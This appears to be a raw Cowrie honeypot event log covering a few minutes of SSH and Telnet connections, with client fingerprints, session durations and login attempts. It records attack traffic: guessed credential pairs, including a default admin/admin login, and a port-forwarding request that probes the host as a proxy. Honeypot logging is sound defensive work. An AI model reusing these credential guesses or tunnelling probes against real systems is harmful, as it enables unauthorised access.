{"eventid":"cowrie.session.closed","duration":39.61499500274658,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:13:11.195825Z","src_ip":"157.230.123.106","session":"da68ba336c90","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":54706,"dst_ip":"10.17.0.5","dst_port":22,"session":"e1cdc3f8a144","protocol":"ssh","message":"New connection: 194.59.206.2:54706 (10.17.0.5:22) [session: e1cdc3f8a144]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:13:20.671494Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:13:20.676085Z","src_ip":"194.59.206.2","session":"e1cdc3f8a144","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:13:20.767231Z","src_ip":"194.59.206.2","session":"e1cdc3f8a144","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:13:20.863132Z","src_ip":"194.59.206.2","session":"e1cdc3f8a144","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.325223445892334,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:13:22.215701Z","src_ip":"103.115.172.252","session":"8f407c6769aa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.514124870300293,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:13:25.014676Z","src_ip":"157.230.123.106","session":"58113898b273","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.65487241744995,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:13:27.369223Z","src_ip":"103.115.172.252","session":"e429cb67d347","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.230.123.106","src_port":38386,"dst_ip":"10.17.0.5","dst_port":23,"session":"b08865a8107c","protocol":"telnet","message":"New connection: 157.230.123.106:38386 (10.17.0.5:23) [session: b08865a8107c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:13:28.242134Z"}
{"eventid":"cowrie.session.closed","duration":37.429344177246094,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:13:41.249144Z","src_ip":"45.63.42.31","session":"24d34707c658","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.230.123.106","src_port":42914,"dst_ip":"10.17.0.5","dst_port":23,"session":"6908c3837422","protocol":"telnet","message":"New connection: 157.230.123.106:42914 (10.17.0.5:23) [session: 6908c3837422]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:13:53.589832Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.115.172.252","src_port":43226,"dst_ip":"10.17.0.5","dst_port":23,"session":"f62831141611","protocol":"telnet","message":"New connection: 103.115.172.252:43226 (10.17.0.5:23) [session: f62831141611]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:13:57.222935Z"}
{"eventid":"cowrie.session.closed","duration":31.50997519493103,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:13:59.751980Z","src_ip":"157.230.123.106","session":"b08865a8107c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.115.172.252","src_port":44744,"dst_ip":"10.17.0.5","dst_port":23,"session":"9b40fedf1ef2","protocol":"telnet","message":"New connection: 103.115.172.252:44744 (10.17.0.5:23) [session: 9b40fedf1ef2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:14:01.330698Z"}
{"eventid":"cowrie.session.closed","duration":120.0017876625061,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:14:19.333748Z","src_ip":"157.230.123.106","session":"2e6f3869f4ea","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":53122,"dst_ip":"10.17.0.5","dst_port":23,"session":"8bc513bb5793","protocol":"telnet","message":"New connection: 45.63.42.31:53122 (10.17.0.5:23) [session: 8bc513bb5793]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:14:21.236057Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.230.123.106","src_port":48544,"dst_ip":"10.17.0.5","dst_port":23,"session":"8ff9b850b0a2","protocol":"telnet","message":"New connection: 157.230.123.106:48544 (10.17.0.5:23) [session: 8ff9b850b0a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:14:22.768723Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.230.123.106","src_port":48948,"dst_ip":"10.17.0.5","dst_port":23,"session":"ba167792a9bf","protocol":"telnet","message":"New connection: 157.230.123.106:48948 (10.17.0.5:23) [session: ba167792a9bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:14:27.822295Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":55710,"dst_ip":"10.17.0.5","dst_port":23,"session":"aa0756facf53","protocol":"telnet","message":"New connection: 45.63.42.31:55710 (10.17.0.5:23) [session: aa0756facf53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:14:29.506196Z"}
{"eventid":"cowrie.session.closed","duration":0.2111349105834961,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:14:29.717252Z","src_ip":"45.63.42.31","session":"aa0756facf53","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.44642424583435,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:14:31.036195Z","src_ip":"157.230.123.106","session":"6908c3837422","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.230.123.106","src_port":50198,"dst_ip":"10.17.0.5","dst_port":23,"session":"6f124c91baf5","protocol":"telnet","message":"New connection: 157.230.123.106:50198 (10.17.0.5:23) [session: 6f124c91baf5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:14:31.535847Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.230.123.106","src_port":49746,"dst_ip":"10.17.0.5","dst_port":23,"session":"8bf7c30b3c91","protocol":"telnet","message":"New connection: 157.230.123.106:49746 (10.17.0.5:23) [session: 8bf7c30b3c91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:14:32.914034Z"}
{"eventid":"cowrie.session.closed","duration":36.482696533203125,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:14:33.705537Z","src_ip":"103.115.172.252","session":"f62831141611","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.24.211.95","src_port":32992,"dst_ip":"159.203.135.109","dst_port":22,"session":"0fe3c9ddea23","protocol":"ssh","message":"New connection: 193.24.211.95:32992 (159.203.135.109:22) [session: 0fe3c9ddea23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:14:38.901024Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:14:38.926938Z","src_ip":"193.24.211.95","session":"0fe3c9ddea23","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:14:39.012357Z","src_ip":"193.24.211.95","session":"0fe3c9ddea23","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"1234567890","message":"login attempt [user/1234567890] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:14:39.576782Z","src_ip":"193.24.211.95","session":"0fe3c9ddea23","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:14:40.689295Z","src_ip":"193.24.211.95","session":"0fe3c9ddea23","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.4381320476532,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:14:53.206713Z","src_ip":"157.230.123.106","session":"8ff9b850b0a2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.115.172.252","src_port":36702,"dst_ip":"10.17.0.5","dst_port":23,"session":"6a9cb33bfb49","protocol":"telnet","message":"New connection: 103.115.172.252:36702 (10.17.0.5:23) [session: 6a9cb33bfb49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:14:55.900785Z"}
{"eventid":"cowrie.session.closed","duration":36.65849304199219,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:14:57.894316Z","src_ip":"45.63.42.31","session":"8bc513bb5793","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.611045837402344,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:14:58.433241Z","src_ip":"157.230.123.106","session":"ba167792a9bf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":58.282763719558716,"message":"Connection lost after 58 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:14:59.613361Z","src_ip":"103.115.172.252","session":"9b40fedf1ef2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.941628217697144,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:15:02.477393Z","src_ip":"157.230.123.106","session":"6f124c91baf5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.485483169555664,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:15:03.399404Z","src_ip":"157.230.123.106","session":"8bf7c30b3c91","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.115.172.252","src_port":41118,"dst_ip":"10.17.0.5","dst_port":23,"session":"ea75f6c6f5ca","protocol":"telnet","message":"New connection: 103.115.172.252:41118 (10.17.0.5:23) [session: ea75f6c6f5ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:15:05.539237Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":38920,"dst_ip":"10.17.0.5","dst_port":22,"session":"a67c4d20fb24","protocol":"ssh","message":"New connection: 87.251.64.176:38920 (10.17.0.5:22) [session: a67c4d20fb24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:15:09.438743Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:15:09.445973Z","src_ip":"87.251.64.176","session":"a67c4d20fb24","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:15:09.546473Z","src_ip":"87.251.64.176","session":"a67c4d20fb24","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:15:09.889150Z","src_ip":"87.251.64.176","session":"a67c4d20fb24","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:15:09.993088Z","session":"a67c4d20fb24","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:15:10.106590Z","src_ip":"87.251.64.176","session":"a67c4d20fb24","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:15:10.349963Z","src_ip":"87.251.64.176","session":"a67c4d20fb24","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.36080241203308,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:15:44.899910Z","src_ip":"103.115.172.252","session":"ea75f6c6f5ca","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.115.172.252","src_port":33928,"dst_ip":"10.17.0.5","dst_port":23,"session":"6d1f53afb55f","protocol":"telnet","message":"New connection: 103.115.172.252:33928 (10.17.0.5:23) [session: 6d1f53afb55f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:16:00.749309Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.115.172.252","src_port":38566,"dst_ip":"10.17.0.5","dst_port":23,"session":"b1f23967489b","protocol":"telnet","message":"New connection: 103.115.172.252:38566 (10.17.0.5:23) [session: b1f23967489b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:16:20.110821Z"}
{"eventid":"cowrie.session.closed","duration":1.894059419631958,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:16:22.004739Z","src_ip":"103.115.172.252","session":"b1f23967489b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"170.78.211.149","src_port":49448,"dst_ip":"10.17.0.5","dst_port":23,"session":"c0f1424f0dd6","protocol":"telnet","message":"New connection: 170.78.211.149:49448 (10.17.0.5:23) [session: c0f1424f0dd6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:16:34.704866Z"}
{"eventid":"cowrie.session.closed","duration":40.54734969139099,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:16:41.296519Z","src_ip":"103.115.172.252","session":"6d1f53afb55f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.0020203590393,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:16:55.902651Z","src_ip":"103.115.172.252","session":"6a9cb33bfb49","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"123.209.205.109","src_port":37396,"dst_ip":"159.203.135.109","dst_port":22,"session":"090b096ced6c","protocol":"ssh","message":"New connection: 123.209.205.109:37396 (159.203.135.109:22) [session: 090b096ced6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:17:26.174459Z"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:17:26.464706Z","src_ip":"123.209.205.109","session":"090b096ced6c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":34830,"dst_ip":"10.17.0.5","dst_port":23,"session":"ce7ea00e76ac","protocol":"telnet","message":"New connection: 45.63.42.31:34830 (10.17.0.5:23) [session: ce7ea00e76ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:17:31.268496Z"}
{"eventid":"cowrie.session.connect","src_ip":"217.21.120.63","src_port":40264,"dst_ip":"159.203.135.109","dst_port":23,"session":"006a0d04c494","protocol":"telnet","message":"New connection: 217.21.120.63:40264 (159.203.135.109:23) [session: 006a0d04c494]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:17:31.770068Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.115.172.252","src_port":42582,"dst_ip":"10.17.0.5","dst_port":23,"session":"a9ffc79fc911","protocol":"telnet","message":"New connection: 103.115.172.252:42582 (10.17.0.5:23) [session: a9ffc79fc911]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:17:38.520890Z"}
{"eventid":"cowrie.session.closed","duration":13.291013717651367,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:17:45.060932Z","src_ip":"217.21.120.63","session":"006a0d04c494","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":55924,"dst_ip":"159.203.135.109","dst_port":23,"session":"42dc49799e6f","protocol":"telnet","message":"New connection: 185.26.126.47:55924 (159.203.135.109:23) [session: 42dc49799e6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:18:01.682506Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":55958,"dst_ip":"159.203.135.109","dst_port":23,"session":"02add743f5a5","protocol":"telnet","message":"New connection: 185.26.126.47:55958 (159.203.135.109:23) [session: 02add743f5a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:18:01.753391Z"}
{"eventid":"cowrie.session.closed","duration":36.66018319129944,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:18:07.928267Z","src_ip":"45.63.42.31","session":"ce7ea00e76ac","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.050185918807983,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:18:14.732564Z","src_ip":"185.26.126.47","session":"42dc49799e6f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.65470218658447,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:18:16.175491Z","src_ip":"103.115.172.252","session":"a9ffc79fc911","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00199270248413,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:18:34.706690Z","src_ip":"170.78.211.149","session":"c0f1424f0dd6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"170.78.211.149","src_port":59990,"dst_ip":"10.17.0.5","dst_port":23,"session":"cf78d21a9cb1","protocol":"telnet","message":"New connection: 170.78.211.149:59990 (10.17.0.5:23) [session: cf78d21a9cb1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:18:37.156978Z"}
